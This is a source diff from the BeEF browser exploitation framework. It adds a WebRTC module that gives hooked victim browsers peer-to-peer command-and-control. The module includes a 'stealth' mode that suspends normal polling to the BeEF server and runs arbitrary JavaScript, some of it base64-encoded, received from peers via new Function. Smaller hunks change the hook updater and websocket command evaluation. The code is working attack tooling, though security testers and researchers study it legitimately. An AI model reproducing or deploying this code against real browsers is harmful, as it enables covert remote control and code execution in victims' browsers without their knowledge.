beef.net.request(beef.net.httpproto, 'GET', beef.net.host, beef.net.port, beef.net.hook, null, 'BEEFHOOK='+beef.session.get_hook_session_id(), 5, 'script', function(response) {
|
||||
beef.net.request(beef.net.httpproto, 'GET', beef.net.host, beef.net.port, beef.net.hook, null, beef.updater.beefhook+'='+beef.session.get_hook_session_id(), 5, 'script', function(response) {
|
||||
if (response.body != null && response.body.length > 0)
|
||||
beef.updater.execute_commands();
|
||||
});
|
||||
@@ -79,7 +79,10 @@ beef.updater = {
|
||||
try {
|
||||
command();
|
||||
} catch(e) {
|
||||
console.error('execute_commands - command failed to execute: ' + e.message);
|
||||
beef.debug('execute_commands - command failed to execute: ' + e.message);
|
||||
// prints the command source to be executed, to better trace errors
|
||||
// beef.client_debug must be enabled in the main config
|
||||
beef.debug(command.toString());
|
||||
}
|
||||
}
|
||||
this.lock = false;
|
||||
|
||||
609
core/main/client/webrtc.js
Normal file
609
core/main/client/webrtc.js
Normal file
@@ -0,0 +1,609 @@
|
||||
//
|
||||
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
|
||||
/**
|
||||
* @Literal object: beef.webrtc
|
||||
*
|
||||
* Manage the WebRTC peer to peer communication channels.
|
||||
* This objects contains all the necessary client-side WebRTC components,
|
||||
* allowing browsers to use WebRTC to communicate with each other.
|
||||
* To provide signaling, the WebRTC extension sets up custom listeners.
|
||||
* /rtcsignal - for sending RTC signalling information between peers
|
||||
* /rtcmessage - for client-side rtc messages to be submitted back into beef and logged.
|
||||
*
|
||||
* To ensure signaling gets back to the peers, the hook.js dynamic construction also includes
|
||||
* the signalling.
|
||||
*
|
||||
* This is all mostly a Proof of Concept
|
||||
*/
|
||||
|
||||
beefrtcs = {}; // To handle multiple peers - we need to have a hash of Beefwebrtc objects
|
||||
// The key is the peer id
|
||||
globalrtc = {}; // To handle multiple Peers - we have to have a global hash of RTCPeerConnection objects
|
||||
// these objects persist outside of everything else
|
||||
// The key is the peer id
|
||||
rtcstealth = false; // stealth should only be initiated from one peer - this global variable will contain:
|
||||
// false - i.e not stealthed; or
|
||||
// <peerid> - i.e. the id of the browser which initiated stealth mode
|
||||
rtcrecvchan = {}; // To handle multiple event channels - we need to have a global hash of these
|
||||
// The key is the peer id
|
||||
|
||||
// Beefwebrtc object - wraps everything together for a peer connection
|
||||
// One of these per peer connection, and will be stored in the beefrtc global hash
|
||||
function Beefwebrtc(initiator,peer,turnjson,stunservers,verbparam) {
|
||||
this.verbose = typeof verbparam !== 'undefined' ? verbparam : false; // whether this object is verbose or not
|
||||
this.initiator = typeof initiator !== 'undefined' ? initiator : 0; // if 1 - this is the caller; if 0 - this is the receiver
|
||||
this.peerid = typeof peer !== 'undefined' ? peer : null; // id of this rtc peer
|
||||
this.turnjson = turnjson; // set of TURN servers in the format:
|
||||
// {"username": "<username", "password": "<password>", "uris": [
|
||||
// "turn:<ip>:<port>?transport=<udp/tcp>",
|
||||
// "turn:<ip>:<port>?transport=<udp/tcp>"]}
|
||||
this.started = false; // Has signaling / dialing started for this peer
|
||||
this.gotanswer = false; // For the caller - this determines whether they have received an SDP answer from the receiver
|
||||
this.turnDone = false; // does the pcConfig have TURN servers added to it?
|
||||
this.signalingReady = false; // the initiator (Caller) is always ready to signal. So this sets to true during init
|
||||
// the receiver will set this to true once it receives an SDP 'offer'
|
||||
this.msgQueue = []; // because the handling of SDP signals may happen in any order - we need a queue for them
|
||||
this.pcConfig = null; // We set this during init
|
||||
this.pcConstraints = {"optional": [{"googImprovedWifiBwe": true}]} // PeerConnection constraints
|
||||
this.offerConstraints = {"optional": [], "mandatory": {}}; // Default SDP Offer Constraints - used in the caller
|
||||
this.sdpConstraints = {'optional': [{'RtpDataChannels':true}]}; // Default SDP Constraints - used by caller and receiver
|
||||
this.gatheredIceCandidateTypes = { Local: {}, Remote: {} }; // ICE Candidates
|
||||
this.allgood = false; // Is this object / peer connection with the nominated peer ready to go?
|
||||
this.dataChannel = null; // The data channel used by this peer
|
||||
this.stunservers = stunservers; // set of STUN servers, in the format:
|
||||
// ["stun:stun.l.google.com:19302","stun:stun1.l.google.com:19302"]
|
||||
}
|
||||
|
||||
// Initialize the object
|
||||
Beefwebrtc.prototype.initialize = function() {
|
||||
if (this.peerid == null) {
|
||||
return 0; // no peerid - NO DICE
|
||||
}
|
||||
|
||||
// Initialise the pcConfig hash with the provided stunservers
|
||||
var stuns = JSON.parse(this.stunservers);
|
||||
this.pcConfig = {"iceServers": [{"urls":stuns, "username":"user",
|
||||
"credential":"pass"}]};
|
||||
|
||||
// We're not getting the browsers to request their own TURN servers, we're specifying them through BeEF
|
||||
// this.forceTurn(this.turnjson);
|
||||
this.turnDone = true;
|
||||
|
||||
// Caller is always ready to create peerConnection.
|
||||
this.signalingReady = this.initiator;
|
||||
|
||||
// Start .. maybe
|
||||
this.maybeStart();
|
||||
|
||||
// If the window is closed, send a signal to beef .. this is not all that great, so just commenting out
|
||||
// window.onbeforeunload = function() {
|
||||
// this.sendSignalMsg({type: 'bye'});
|
||||
// }
|
||||
|
||||
return 1; // because .. yeah .. we had a peerid - this is good yar.
|
||||
}
|
||||
|
||||
//Forces the TURN configuration (we can't query that computeengine thing because it's CORS is restrictive)
|
||||
//These values are now simply passed in from the config.yaml for the webrtc extension
|
||||
Beefwebrtc.prototype.forceTurn = function(jason) {
|
||||
var turnServer = JSON.parse(jason);
|
||||
var iceServers = createIceServers(turnServer.uris,
|
||||
turnServer.username,
|
||||
turnServer.password);
|
||||
if (iceServers !== null) {
|
||||
this.pcConfig.iceServers = this.pcConfig.iceServers.concat(iceServers);
|
||||
}
|
||||
beef.debug("Got TURN servers, will try and maybestart again..");
|
||||
this.turnDone = true;
|
||||
this.maybeStart();
|
||||
}
|
||||
|
||||
// Try and establish the RTC connection
|
||||
Beefwebrtc.prototype.createPeerConnection = function() {
|
||||
beef.debug('Creating RTCPeerConnnection with the following options:\n' +
|
||||
' config: \'' + JSON.stringify(this.pcConfig) + '\';\n' +
|
||||
' constraints: \'' + JSON.stringify(this.pcConstraints) + '\'.');
|
||||
try {
|
||||
// Create an RTCPeerConnection via the polyfill (webrtcadapter.js).
|
||||
globalrtc[this.peerid] = new RTCPeerConnection(this.pcConfig, this.pcConstraints);
|
||||
globalrtc[this.peerid].onicecandidate = this.onIceCandidate;
|
||||
beef.debug('Created RTCPeerConnnection with the following options:\n' +
|
||||
' config: \'' + JSON.stringify(this.pcConfig) + '\';\n' +
|
||||
' constraints: \'' + JSON.stringify(this.pcConstraints) + '\'.');
|
||||
|
||||
} catch (e) {
|
||||
beef.debug('Failed to create PeerConnection, exception: ');
|
||||
beef.debug(e);
|
||||
return;
|
||||
}
|
||||
|
||||
// Assign event handlers to signalstatechange, iceconnectionstatechange, datachannel etc
|
||||
globalrtc[this.peerid].onsignalingstatechange = this.onSignalingStateChanged;
|
||||
globalrtc[this.peerid].oniceconnectionstatechange = this.onIceConnectionStateChanged;
|
||||
globalrtc[this.peerid].ondatachannel = this.onDataChannel;
|
||||
this.dataChannel = globalrtc[this.peerid].createDataChannel("sendDataChannel", {reliable:false});
|
||||
}
|
||||
|
||||
// When the PeerConnection receives a new ICE Candidate
|
||||
Beefwebrtc.prototype.onIceCandidate = function(event) {
|
||||
var peerid = null;
|
||||
|
||||
for (var k in beefrtcs) {
|
||||
if (beefrtcs[k].allgood === false) {
|
||||
peerid = beefrtcs[k].peerid;
|
||||
}
|
||||
}
|
||||
|
||||
beef.debug("Handling onicecandidate event while connecting to peer: " + peerid + ". Event received:");
|
||||
beef.debug(event);
|
||||
|
||||
if (event.candidate) {
|
||||
// Send the candidate to the peer via the BeEF signalling channel
|
||||
beefrtcs[peerid].sendSignalMsg({type: 'candidate',
|
||||
label: event.candidate.sdpMLineIndex,
|
||||
id: event.candidate.sdpMid,
|
||||
candidate: event.candidate.candidate});
|
||||
// Note this ICE candidate locally
|
||||
beefrtcs[peerid].noteIceCandidate("Local", beefrtcs[peerid].iceCandidateType(event.candidate.candidate));
|
||||
} else {
|
||||
beef.debug('End of candidates.');
|
||||
}
|
||||
}
|
||||
|
||||
// For all rtc signalling messages we receive as part of hook.js polling - we have to process them with this function
|
||||
// This will either add messages to the msgQueue and try and kick off maybeStart - or it'll call processSignalingMessage
|
||||
// against the message directly
|
||||
Beefwebrtc.prototype.processMessage = function(message) {
|
||||
beef.debug('Signalling Message - S->C: ' + JSON.stringify(message));
|
||||
var msg = JSON.parse(message);
|
||||
|
||||
if (!this.initiator && !this.started) { // We are currently the receiver AND we have NOT YET received an SDP Offer
|
||||
beef.debug('processing the message, as a receiver');
|
||||
if (msg.type === 'offer') { // This IS an SDP Offer
|
||||
beef.debug('.. and the message is an offer .. ');
|
||||
this.msgQueue.unshift(msg); // put it on the top of the msgqueue
|
||||
this.signalingReady = true; // As the receiver, we've now got an SDP Offer, so lets set signalingReady to true
|
||||
this.maybeStart(); // Lets try and start again - this will end up with calleeStart() getting executed
|
||||
} else { // This is NOT an SDP Offer - as the receiver, just add it to the queue
|
||||
beef.debug(' .. the message is NOT an offer .. ');
|
||||
this.msgQueue.push(msg);
|
||||
}
|
||||
} else if (this.initiator && !this.gotanswer) { // We are currently the caller AND we have NOT YET received the SDP Answer
|
||||
beef.debug('processing the message, as the sender, no answers yet');
|
||||
if (msg.type === 'answer') { // This IS an SDP Answer
|
||||
beef.debug('.. and we have an answer ..');
|
||||
this.processSignalingMessage(msg); // Process the message directly
|
||||
this.gotanswer = true; // We have now received an answer
|
||||
//process all other queued message...
|
||||
while (this.msgQueue.length > 0) {
|
||||
this.processSignalingMessage(this.msgQueue.shift());
|
||||
}
|
||||
} else { // This is NOT an SDP Answer - as the caller, just add it to the queue
|
||||
beef.debug('.. not an answer ..');
|
||||
this.msgQueue.push(msg);
|
||||
}
|
||||
} else { // For all other messages just drop them in the queue
|
||||
beef.debug('processing a message, but, not as a receiver, OR, the rtc is already up');
|
||||
this.processSignalingMessage(msg);
|
||||
}
|
||||
}
|
||||
|
||||
// Send a signalling message ..
|
||||
Beefwebrtc.prototype.sendSignalMsg = function(message) {
|
||||
var msgString = JSON.stringify(message);
|
||||
beef.debug('Signalling Message - C->S: ' + msgString);
|
||||
beef.net.send('/rtcsignal',0,{targetbeefid: this.peerid, signal: msgString});
|
||||
}
|
||||
|
||||
// Used to record ICS candidates locally
|
||||
Beefwebrtc.prototype.noteIceCandidate = function(location, type) {
|
||||
if (this.gatheredIceCandidateTypes[location][type])
|
||||
return;
|
||||
this.gatheredIceCandidateTypes[location][type] = 1;
|
||||
// updateInfoDiv();
|
||||
}
|
||||
|
||||
// When the signalling state changes. We don't actually do anything with this except log it.
|
||||
Beefwebrtc.prototype.onSignalingStateChanged = function(event) {
|
||||
beef.debug("Signalling has changed to: " + event.target.signalingState);
|
||||
}
|
||||
|
||||
// When the ICE Connection State changes - this is useful to determine connection statuses with peers.
|
||||
Beefwebrtc.prototype.onIceConnectionStateChanged = function(event) {
|
||||
var peerid = null;
|
||||
|
||||
for (k in globalrtc) {
|
||||
if ((globalrtc[k].localDescription.sdp === event.target.localDescription.sdp) && (globalrtc[k].localDescription.type === event.target.localDescription.type)) {
|
||||
peerid = k;
|
||||
}
|
||||
}
|
||||
|
||||
beef.debug("ICE with peer: " + peerid + " has changed to: " + event.target.iceConnectionState);
|
||||
|
||||
// ICE Connection Status has connected - this is good. Normally means the RTCPeerConnection is ready! Although may still look for
|
||||
// better candidates or connections
|
||||
if (event.target.iceConnectionState === 'connected') {
|
||||
//Send status to peer
|
||||
window.setTimeout(function() {
|
||||
beefrtcs[peerid].sendPeerMsg('ICE Status: '+event.target.iceConnectionState);
|
||||
beefrtcs[peerid].allgood = true;
|
||||
},1000);
|
||||
}
|
||||
|
||||
// Completed is similar to connected. Except, each of the ICE components are good, and no more testing remote candidates is done.
|
||||
if (event.target.iceConnectionState === 'completed') {
|
||||
window.setTimeout(function() {
|
||||
beefrtcs[peerid].sendPeerMsg('ICE Status: '+event.target.iceConnectionState);
|
||||
beefrtcs[peerid].allgood = true;
|
||||
},1000);
|
||||
}
|
||||
|
||||
if ((rtcstealth == peerid) && (event.target.iceConnectionState === 'disconnected')) {
|
||||
//I was in stealth mode, talking back to this peer - but it's gone offline.. come out of stealth
|
||||
rtcstealth = false;
|
||||
beefrtcs[peerid].allgood = false;
|
||||
beef.net.send('/rtcmessage',0,{peerid: peerid, message: peerid + " - has apparently gotten disconnected"});
|
||||
} else if ((rtcstealth == false) && (event.target.iceConnectionState === 'disconnected')) {
|
||||
//I was not in stealth, and this peer has gone offline - send a message
|
||||
beefrtcs[peerid].allgood = false;
|
||||
beef.net.send('/rtcmessage',0,{peerid: peerid, message: peerid + " - has apparently gotten disconnected"});
|
||||
}
|
||||
// We don't handle situations where a stealthed peer loses a peer that is NOT the peer that made it go into stealth
|
||||
// This is possibly a bad idea - @xntrik
|
||||
|
||||
|
||||
}
|
||||
|
||||
// This is the function when a peer tells us to go into stealth by sending a dataChannel message of "!gostealth"
|
||||
Beefwebrtc.prototype.goStealth = function() {
|
||||
//stop the beef updater
|
||||
rtcstealth = this.peerid; // this is a global variable
|
||||
beef.updater.lock = true;
|
||||
this.sendPeerMsg('Going into stealth mode');
|
||||
|
||||
setTimeout(function() {rtcpollPeer()}, beef.updater.xhr_poll_timeout * 5);
|
||||
}
|
||||
|
||||
// This is the actual poller when in stealth, it is global as well because we're using the setTimeout to execute it
|
||||
rtcpollPeer = function() {
|
||||
if (rtcstealth == false) {
|
||||
//my peer has disabled stealth mode
|
||||
beef.updater.lock = false;
|
||||
return;
|
||||
}
|
||||
|
||||
beef.debug('lub dub');
|
||||
|
||||
beefrtcs[rtcstealth].sendPeerMsg('Stayin alive'); // This is the heartbeat we send back to the peer that made us stealth
|
||||
|
||||
setTimeout(function() {rtcpollPeer()}, beef.updater.xhr_poll_timeout * 5);
|
||||
}
|
||||
|
||||
// When a data channel has been established - within here is the message handling function as well
|
||||
Beefwebrtc.prototype.onDataChannel = function(event) {
|
||||
var peerid = null;
|
||||
for (k in globalrtc) {
|
||||
if ((globalrtc[k].localDescription.sdp === event.currentTarget.localDescription.sdp) && (globalrtc[k].localDescription.type === event.currentTarget.localDescription.type)) {
|
||||
peerid = k;
|
||||
}
|
||||
}
|
||||
|
||||
beef.debug("Peer: " + peerid + " has just handled the onDataChannel event");
|
||||
rtcrecvchan[peerid] = event.channel;
|
||||
|
||||
// This is the onmessage event handling within the datachannel
|
||||
rtcrecvchan[peerid].onmessage = function(ev2) {
|
||||
beef.debug("Received an RTC message from my peer["+peerid+"]: " + ev2.data);
|
||||
|
||||
// We've received the command to go into stealth mode
|
||||
if (ev2.data == "!gostealth") {
|
||||
if (beef.updater.lock == true) {
|
||||
setTimeout(function() {beefrtcs[peerid].goStealth()},beef.updater.xhr_poll_timeout * 0.4);
|
||||
} else {
|
||||
beefrtcs[peerid].goStealth();
|
||||
}
|
||||
|
||||
// The message to come out of stealth
|
||||
} else if (ev2.data == "!endstealth") {
|
||||
|
||||
if (rtcstealth != null) {
|
||||
beefrtcs[rtcstealth].sendPeerMsg("Coming out of stealth...");
|
||||
rtcstealth = false;
|
||||
}
|
||||
|
||||
// Command to perform arbitrary JS (while stealthed)
|
||||
} else if ((rtcstealth != false) && (ev2.data.charAt(0) == "%")) {
|
||||
beef.debug('message was a command: '+ev2.data.substring(1) + ' .. and I am in stealth mode');
|
||||
beefrtcs[rtcstealth].sendPeerMsg("Command result - " + beefrtcs[rtcstealth].execCmd(ev2.data.substring(1)));
|
||||
|
||||
// Command to perform arbitrary JS (while NOT stealthed)
|
||||
} else if ((rtcstealth == false) && (ev2.data.charAt(0) == "%")) {
|
||||
beef.debug('message was a command - we are not in stealth. Command: '+ ev2.data.substring(1));
|
||||
beefrtcs[peerid].sendPeerMsg("Command result - " + beefrtcs[peerid].execCmd(ev2.data.substring(1)));
|
||||
|
||||
// B64d command from the /cmdexec API
|
||||
} else if (ev2.data.charAt(0) == "@") {
|
||||
beef.debug('message was a b64d command');
|
||||
|
||||
var fn = new Function(atob(ev2.data.substring(1)));
|
||||
fn();
|
||||
if (rtcstealth != false) { // force stealth back on ?
|
||||
beef.updater.execute_commands(); // FORCE execution while stealthed
|
||||
beef.updater.lock = true;
|
||||
}
|
||||
|
||||
|
||||
// Just a plain text message .. (while stealthed)
|
||||
} else if (rtcstealth != false) {
|
||||
beef.debug('received a message, apparently we are in stealth - so just send it back to peer['+rtcstealth+']');
|
||||
beefrtcs[rtcstealth].sendPeerMsg(ev2.data);
|
||||
|
||||
// Just a plan text message (while NOT stealthed)
|
||||
} else {
|
||||
beef.debug('received a message from peer['+peerid+'] - sending it back to beef');
|
||||
beef.net.send('/rtcmessage',0,{peerid: peerid, message: ev2.data});
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// How the browser executes received JS (this is pretty hacky)
|
||||
Beefwebrtc.prototype.execCmd = function(input) {
|
||||
var fn = new Function(input);
|
||||
var res = fn();
|
||||
return res.toString();
|
||||
}
|
||||
|
||||
// Shortcut function to SEND a data messsage
|
||||
Beefwebrtc.prototype.sendPeerMsg = function(msg) {
|
||||
beef.debug('sendPeerMsg to ' + this.peerid);
|
||||
this.dataChannel.send(msg);
|
||||
}
|
||||
|
||||
// Try and initiate, will check that system hasn't started, and that signaling is ready, and that TURN servers are ready
|
||||
Beefwebrtc.prototype.maybeStart = function() {
|
||||
beef.debug("maybe starting ... ");
|
||||
|
||||
if (!this.started && this.signalingReady && this.turnDone) {
|
||||
beef.debug('Creating PeerConnection.');
|
||||
this.createPeerConnection();
|
||||
|
||||
this.started = true;
|
||||
|
||||
if (this.initiator) {
|
||||
beef.debug("Making the call now .. bzz bzz");
|
||||
this.doCall();
|
||||
} else {
|
||||
beef.debug("Receiving a call now .. somebuddy answer da fone?");
|
||||
this.calleeStart();
|
||||
}
|
||||
|
||||
} else {
|
||||
beef.debug("Not ready to start just yet..");
|
||||
}
|
||||
}
|
||||
|
||||
// RTC - create an offer - the caller runs this, while the receiver runs calleeStart()
|
||||
Beefwebrtc.prototype.doCall = function() {
|
||||
var constraints = this.mergeConstraints(this.offerConstraints, this.sdpConstraints);
|
||||
var self = this;
|
||||
globalrtc[this.peerid].createOffer(this.setLocalAndSendMessage, this.onCreateSessionDescriptionError, constraints);
|
||||
beef.debug('Sending offer to peer, with constraints: \n' +
|
||||
' \'' + JSON.stringify(constraints) + '\'.');
|
||||
}
|
||||
|
||||
// Helper method to merge SDP constraints
|
||||
Beefwebrtc.prototype.mergeConstraints = function(cons1, cons2) {
|
||||
var merged = cons1;
|
||||
for (var name in cons2.mandatory) {
|
||||
merged.mandatory[name] = cons2.mandatory[name];
|
||||
}
|
||||
merged.optional.concat(cons2.optional);
|
||||
return merged;
|
||||
}
|
||||
|
||||
// Sets the local RTC session description, sends this information back (via signalling)
|
||||
// The caller uses this to set it's local description, and it then has to send this to the peer (via signalling)
|
||||
// The receiver uses this information too - and vice-versa - hence the signaling
|
||||
Beefwebrtc.prototype.setLocalAndSendMessage = function(sessionDescription) {
|
||||
// This fucking function does NOT receive a 'this' state, and you can't pass additional parameters
|
||||
// Stupid .. javascript :(
|
||||
// So I'm hacking it to find the peerid gah - I believe *this* is what means you can't establish peers concurrently
|
||||
// i.e. this browser will have to wait for this peerconnection to establish before attempting to connect to the next one..
|
||||
var peerid = null;
|
||||
|
||||
for (var k in beefrtcs) {
|
||||
if (beefrtcs[k].allgood === false) {
|
||||
peerid = beefrtcs[k].peerid;
|
||||
}
|
||||
}
|
||||
beef.debug("For peer: " + peerid + " Running setLocalAndSendMessage...");
|
||||
|
||||
globalrtc[peerid].setLocalDescription(sessionDescription, onSetSessionDescriptionSuccess, onSetSessionDescriptionError);
|
||||
beefrtcs[peerid].sendSignalMsg(sessionDescription);
|
||||
|
||||
function onSetSessionDescriptionSuccess() {
|
||||
beef.debug('Set session description success.');
|
||||
}
|
||||
|
||||
function onSetSessionDescriptionError() {
|
||||
beef.debug('Failed to set session description');
|
||||
}
|
||||
}
|
||||
|
||||
// If the browser can't build an SDP
|
||||
Beefwebrtc.prototype.onCreateSessionDescriptionError = function(error) {
|
||||
beef.debug('Failed to create session description: ' + error.toString());
|
||||
}
|
||||
|
||||
// If the browser successfully sets a remote description
|
||||
Beefwebrtc.prototype.onSetRemoteDescriptionSuccess = function() {
|
||||
beef.debug('Set remote session description successfully');
|
||||
}
|
||||
|
||||
// Check for messages - which includes signaling from a calling peer - this gets kicked off in maybeStart()
|
||||
Beefwebrtc.prototype.calleeStart = function() {
|
||||
// Callee starts to process cached offer and other messages.
|
||||
while (this.msgQueue.length > 0) {
|
||||
this.processSignalingMessage(this.msgQueue.shift());
|
||||
}
|
||||
}
|
||||
|
||||
// Process messages, this is how we handle the signaling messages, such as candidate info, offers, answers
|
||||
Beefwebrtc.prototype.processSignalingMessage = function(message) {
|
||||
if (!this.started) {
|
||||
beef.debug('peerConnection has not been created yet!');
|
||||
return;
|
||||
}
|
||||
|
||||
if (message.type === 'offer') {
|
||||
beef.debug("Processing signalling message: OFFER");
|
||||
if (navigator.mozGetUserMedia) { // Mozilla shim fuckn shit - since the new
|
||||
// version of FF - which no longer works
|
||||
beef.debug("Moz shim here");
|
||||
globalrtc[this.peerid].setRemoteDescription(
|
||||
new RTCSessionDescription(message),
|
||||
function() {
|
||||
// globalrtc[this.peerid].createAnswer(function(answer) {
|
||||
// globalrtc[this.peerid].setLocalDescription(
|
||||
|
||||
var peerid = null;
|
||||
|
||||
for (var k in beefrtcs) {
|
||||
if (beefrtcs[k].allgood === false) {
|
||||
peerid = beefrtcs[k].peerid;
|
||||
}
|
||||
}
|
||||
|
||||
globalrtc[peerid].createAnswer(function(answer) {
|
||||
globalrtc[peerid].setLocalDescription(
|
||||
new RTCSessionDescription(answer),
|
||||
function() {
|
||||
beefrtcs[peerid].sendSignalMsg(answer);
|
||||
},function(error) {
|
||||
beef.debug("setLocalDescription error: " + error);
|
||||
});
|
||||
},function(error) {
|
||||
beef.debug("createAnswer error: " +error);
|
||||
});
|
||||
},function(error) {
|
||||
beef.debug("setRemoteDescription error: " + error);
|
||||
});
|
||||
|
||||
} else {
|
||||
this.setRemote(message);
|
||||
this.doAnswer();
|
||||
}
|
||||
} else if (message.type === 'answer') {
|
||||
beef.debug("Processing signalling message: ANSWER");
|
||||
if (navigator.mozGetUserMedia) { // terrible moz shim - as for the offer
|
||||
beef.debug("Moz shim here");
|
||||
globalrtc[this.peerid].setRemoteDescription(
|
||||
new RTCSessionDescription(message),
|
||||
function() {},
|
||||
function(error) {
|
||||
beef.debug("setRemoteDescription error: " + error);
|
||||
});
|
||||
} else {
|
||||
this.setRemote(message);
|
||||
}
|
||||
} else if (message.type === 'candidate') {
|
||||
beef.debug("Processing signalling message: CANDIDATE");
|
||||
var candidate = new RTCIceCandidate({sdpMLineIndex: message.label,
|
||||
candidate: message.candidate});
|
||||
this.noteIceCandidate("Remote", this.iceCandidateType(message.candidate));
|
||||
globalrtc[this.peerid].addIceCandidate(candidate, this.onAddIceCandidateSuccess, this.onAddIceCandidateError);
|
||||
} else if (message.type === 'bye') {
|
||||
this.onRemoteHangup();
|
||||
}
|
||||
}
|
||||
|
||||
// Used to set the RTC remote session
|
||||
Beefwebrtc.prototype.setRemote = function(message) {
|
||||
globalrtc[this.peerid].setRemoteDescription(new RTCSessionDescription(message),
|
||||
this.onSetRemoteDescriptionSuccess, this.onSetSessionDescriptionError);
|
||||
}
|
||||
|
||||
// As part of the processSignalingMessage function, we check for 'offers' from peers. If there's an offer, we answer, as below
|
||||
Beefwebrtc.prototype.doAnswer = function() {
|
||||
beef.debug('Sending answer to peer.');
|
||||
globalrtc[this.peerid].createAnswer(this.setLocalAndSendMessage, this.onCreateSessionDescriptionError, this.sdpConstraints);
|
||||
}
|
||||
|
||||
// Helper method to determine what kind of ICE Candidate we've received
|
||||
Beefwebrtc.prototype.iceCandidateType = function(candidateSDP) {
|
||||
if (candidateSDP.indexOf("typ relay ") >= 0)
|
||||
return "TURN";
|
||||
if (candidateSDP.indexOf("typ srflx ") >= 0)
|
||||
return "STUN";
|
||||
if (candidateSDP.indexOf("typ host ") >= 0)
|
||||
return "HOST";
|
||||
return "UNKNOWN";
|
||||
}
|
||||
|
||||
// Event handler for successful addition of ICE Candidates
|
||||
Beefwebrtc.prototype.onAddIceCandidateSuccess = function() {
|
||||
beef.debug('AddIceCandidate success.');
|
||||
}
|
||||
|
||||
// Event handler for unsuccessful addition of ICE Candidates
|
||||
Beefwebrtc.prototype.onAddIceCandidateError = function(error) {
|
||||
beef.debug('Failed to add Ice Candidate: ' + error.toString());
|
||||
}
|
||||
|
||||
// If a peer hangs up (we bring down the peerconncetion via the stop() method)
|
||||
Beefwebrtc.prototype.onRemoteHangup = function() {
|
||||
beef.debug('Session terminated.');
|
||||
this.initiator = 0;
|
||||
// transitionToWaiting();
|
||||
this.stop();
|
||||
}
|
||||
|
||||
// Bring down the peer connection
|
||||
Beefwebrtc.prototype.stop = function() {
|
||||
this.started = false; // we're no longer started
|
||||
this.signalingReady = false; // signalling isn't ready
|
||||
globalrtc[this.peerid].close(); // close the RTCPeerConnection option
|
||||
globalrtc[this.peerid] = null; // Remove it
|
||||
this.msgQueue.length = 0; // clear the msgqueue
|
||||
rtcstealth = false; // no longer stealth
|
||||
this.allgood = false; // allgood .. NAH UH
|
||||
}
|
||||
|
||||
// The actual beef.webrtc wrapper - this exposes only two functions directly - start, and status
|
||||
// These are the methods which are executed via the custom extension of the hook.js
|
||||
beef.webrtc = {
|
||||
// Start the RTCPeerConnection process
|
||||
start: function(initiator,peer,turnjson,stunservers,verbose) {
|
||||
if (peer in beefrtcs) {
|
||||
// If the RTC peer is not in a good state, try kickng it off again
|
||||
// This is possibly not the correct way to handle this issue though :/ I.e. we'll now have TWO of these objects :/
|
||||
if (beefrtcs[peer].allgood == false) {
|
||||
beefrtcs[peer] = new Beefwebrtc(initiator, peer, turnjson, stunservers, verbose);
|
||||
beefrtcs[peer].initialize();
|
||||
}
|
||||
} else {
|
||||
// Standard behaviour for new peer connections
|
||||
beefrtcs[peer] = new Beefwebrtc(initiator,peer,turnjson, stunservers, verbose);
|
||||
beefrtcs[peer].initialize();
|
||||
}
|
||||
},
|
||||
|
||||
// Check the status of all my peers ..
|
||||
status: function(me) {
|
||||
if (Object.keys(beefrtcs).length > 0) {
|
||||
for (var k in beefrtcs) {
|
||||
if (beefrtcs.hasOwnProperty(k)) {
|
||||
beef.net.send('/rtcmessage',0,{peerid: k, message: "Status checking - allgood: " + beefrtcs[k].allgood});
|
||||
}
|
||||
}
|
||||
} else {
|
||||
beef.net.send('/rtcmessage',0,{peerid: me, message: "No peers?"});
|
||||
}
|
||||
}
|
||||
}
|
||||
beef.regCmp('beef.webrtc');
|
||||
@@ -1,5 +1,5 @@
|
||||
//
|
||||
// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
@@ -20,7 +20,7 @@ beef.websocket = {
|
||||
|
||||
/**
|
||||
* Initialize the WebSocket client object.
|
||||
* Note: use WebSocketSecure only if the hooked domain is under https.
|
||||
* Note: use WebSocketSecure only if the hooked origin is under https.
|
||||
* Mixed-content in WS is quite different from a non-WS context.
|
||||
*/
|
||||
init:function () {
|
||||
@@ -53,9 +53,10 @@ beef.websocket = {
|
||||
};
|
||||
|
||||
this.socket.onmessage = function (message) {
|
||||
//todo: double-check if there is a way to don't use eval here. It's not a big deal,
|
||||
//todo: because the eval'ed data comes from BeEF itself, so is implicitly trusted.
|
||||
eval(message.data);
|
||||
// Data coming from the WebSocket channel is either of String, Blob or ArrayBufferdata type.
|
||||
// That's why it needs to be evaluated first. Using Function is a bit better than pure eval().
|
||||
// It's not a big deal anyway, because the eval'ed data comes from BeEF itself, so it is implicitly trusted.
|
||||
new Function(message.data)();
|
||||
};
|
||||
|
||||
this.socket.onclose = function () {
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
@@ -22,14 +22,14 @@ module BeEF
|
||||
# @param [String] configuration_file Configuration file to be loaded, by default loads $root_dir/config.yaml
|
||||
def initialize(config)
|
||||
raise Exception::TypeError, '"config" needs to be a string' if not config.string?
|
||||
raise Exception::TypeError, 'Configuration yaml cannot be found' if not File.exist?(config)
|
||||
raise Exception::TypeError, "Configuration file '#{config}' cannot be found" if not File.exist?(config)
|
||||
begin
|
||||
#open base config
|
||||
@config = self.load(config)
|
||||
# set default value if key? does not exist
|
||||
@config.default = nil
|
||||
@@config = config
|
||||
rescue Exception => e
|
||||
rescue => e
|
||||
print_error "Fatal Error: cannot load configuration file"
|
||||
print_debug e
|
||||
end
|
||||
@@ -44,7 +44,7 @@ module BeEF
|
||||
return nil if not File.exists?(file)
|
||||
raw = File.read(file)
|
||||
